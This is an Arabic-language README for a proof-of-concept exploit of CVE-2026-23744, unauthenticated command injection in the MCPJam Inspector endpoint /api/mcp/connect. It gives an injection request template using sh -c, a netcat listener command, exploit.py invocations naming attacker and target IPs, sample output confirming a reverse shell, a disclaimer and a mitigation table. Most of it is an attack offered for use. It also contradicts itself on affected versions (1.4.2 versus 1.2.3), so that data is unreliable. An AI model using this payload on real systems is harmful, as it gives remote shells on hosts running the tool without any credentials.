
استغلال PoC لـ CVE-2026-23744 — RCE غير مصادق عليه في MCPJam Inspector عبر حقن أوامر serverConfig غير موثق على /api/mcp/connect، مما يتيح reverse shell كـ process owner بدون بيانات اعتماد.
MCPJam هي أداة مفتوحة المصدر لمفتش ووكيل MCP (بروتوكول سياق النموذج) تستخدم للاتصال وإدارة وتصحيح خوادم MCP. الإصدارات <= 1.4.2 تعرض نقطة النهاية /api/mcp/connect بدون مصادقة أو التحقق من صحة الإدخال. يمكن لمهاجم عن بُعد غير موثوق حقن أوامر نظام تشغيل تعسفية عبر الحقول serverConfig.command / serverConfig.args، مما يحصل على تنفيذ التعليمات البرمجية عن بُعد بصلاحيات مالك العملية.
| الحقل | القيمة |
|---|---|
| معرف CVE | CVE-2026-23744 |
| درجة CVSS | 9.8 (حرجة) |
| متجه CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-78 — تحييد غير صحيح للعناصر الخاصة في أمر نظام تشغيل |
| المكون | مفتش وكيل MCPJam |
| المتأثر | MCPJam <= 1.4.2 |
| المصحح | MCPJam >= 1.4.3 |
| ناقل الهجوم | شبكة — لا تتطلب مصادقة |
| تاريخ الكشف | 2026-01-15 |
تقبل نقطة النهاية الضعيفة طلب POST بتنسيق JSON غير موثوق:
POST /api/mcp/connect HTTP/1.1
Host: <target>:3000
Content-Type: application/json
{
"serverConfig": {
"command": "sh",
"args": ["-c", "<ATTACKER_CONTROLLED>"],
"env": {}
},
"serverId": "any_string"
}
يمرر MCPJam command و args مباشرة إلى مشغل عملية Node.js
(child_process.spawn أو ما يعادله) بدون:
يمكن للمهاجم الذي يمكنه الوصول إلى المنفذ 3000 (الافتراضي) تقديم حمولة شل عكسية
في args[1]، للحصول على شل بصلاحيات مالك عملية MCPJam — غالباً
root أو حساب خدمة بصلاحيات وصول واسعة للنظام.
غياب وسيط مصادقة وسيط على /api/mcp/connect بالإضافة إلى الاستخدام غير المنضبط للقيم المقدمة من المستخدم في استدعاء spawn لعملية يؤدي إلى حالة حقن أمر نظام تشغيل غير موثوق (CWE-78).
pip install requests urllib3
-t, --target عنوان IP أو اسم المضيف المستهدف
-p, --port المنفذ المستهدف (افتراضي MCPJam: 3000)
-l, --lhost عنوان IP المحلي لاستدعاء الشل العكسية
-r, --lport المنفذ المحلي لاستدعاء الشل العكسية
--timeout ثوانٍ لانتظار توفر الهدف (افتراضي: 30)
--shell-timeout مهلة POST قبل افتراض سقوط الشل (افتراضي: 5)
-v, --verbose طباعة جسم استجابة HTTP كاملة
1. ابدأ مستمع netcat على جهازك:
nc -lvnp 4444
2. شغّل الاستغلال:
# أساسي
python3 exploit.py -t 10.10.11.50 -p 3000 -l 10.10.14.5 -r 4444
# مفصّل + مهلة توفر ممتدة (أهداف بطيئة)
python3 exploit.py -t 10.10.11.50 -p 3000 -l 10.10.14.5 -r 4444 --timeout 60 -v
# مهلة شل أطول (أعطِ مزيداً من الوقت قبل افتراض إنشاء الشل)
python3 exploit.py -t 10.10.11.50 -p 3000 -l 10.10.14.5 -r 9001 --shell-timeout 10
╔═══════════════════════════════════════════════════════════════════╗
║ MCPJam · تنفيذ تعليمات برمجية عن بُعد غير موثوق عبر حقن serverConfig ║
║ CVE-2026-23744 ║
╚═══════════════════════════════════════════════════════════════════╝
معرف CVE : CVE-2026-23744
المكوّن : مفتش وكيل MCPJam
المتأثر : <= 1.2.3 → المصحح: >= 1.2.4
درجة CVSS : 9.8 (حرجة)
متجه CVSS : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE : CWE-78 — حقن أوامر نظام تشغيل
النوع : تنفيذ تعليمات برمجية عن بُعد غير موثوق (شبكة / لا مصادقة)
المرجع : https://nvd.nist.gov/vuln/detail/CVE-2026-23744
10:32:01 [*] فحص الهدف 10.10.11.50:3000 (بحد أقصى 30 ثانية) ...
10:32:02 [+] الهدف نشط — HTTP 200
10:32:02 [*] نقطة نهاية الاستغلال : http://10.10.11.50:3000/api/mcp/connect
10:32:02 [*] استدعاء الشل العكسية : 10.10.14.5:4444
10:32:02 [!] تأكد من المستمع : nc -lvnp 4444
10:32:02 [*] إطلاق الحمولة ...
10:32:07 [+] انتهت مهلة POST بعد 5 ثوانٍ — من المحتمل إنشاء شل عكسية على 10.10.14.5:4444
10:32:07 [+] انتقل إلى مستمع netcat الخاص بك — يُتوقع اتصال وارد.
10:32:07 [+] اكتملت روتين الاستغلال.
انتهاء المهلة = مؤشر نجاح. عندما تنتهي مهلة طلب POST، تكون العملية الهدف محظورة على الشل العكسية المفتوحة — هذا هو السلوك المتوقع، مما يؤكد تحقيق تنفيذ التعليمات البرمجية عن بُعد. انتقل فوراً إلى المستمع الخاص بك.
يتم توفير هذا الاستغلال بدقة للأغراض التعليمية واختبار الأمان المأذون. استخدمه فقط ضد أنظمة تملكها أو لديك إذن كتابي صريح لاختبارها. الاستخدام غير المأذون غير قانوني وغير أخلاقي.
| الأولوية | الإجراء |
|---|
| حرجة | تحديث MCPJam إلى >= 1.2.4 |
| عالية | تقييد /api/mcp/connect خلف وسيط مصادقة |
| عالية | تطبيق قاعدة جدار حماية على مستوى الشبكة لتقييد الوصول إلى منفذ MCPJam بعناوين IP موثوقة |
| متوسطة | السماح بالقيم المسموح بها فقط لـ serverConfig.command |
| متوسطة | تشغيل MCPJam داخل حاوية / مع مستخدم Linux مقيد (لا شل، لا /dev/tcp) |
| منخفضة | تمكين تسجيل التدقيق على أحداث spawn للعملية |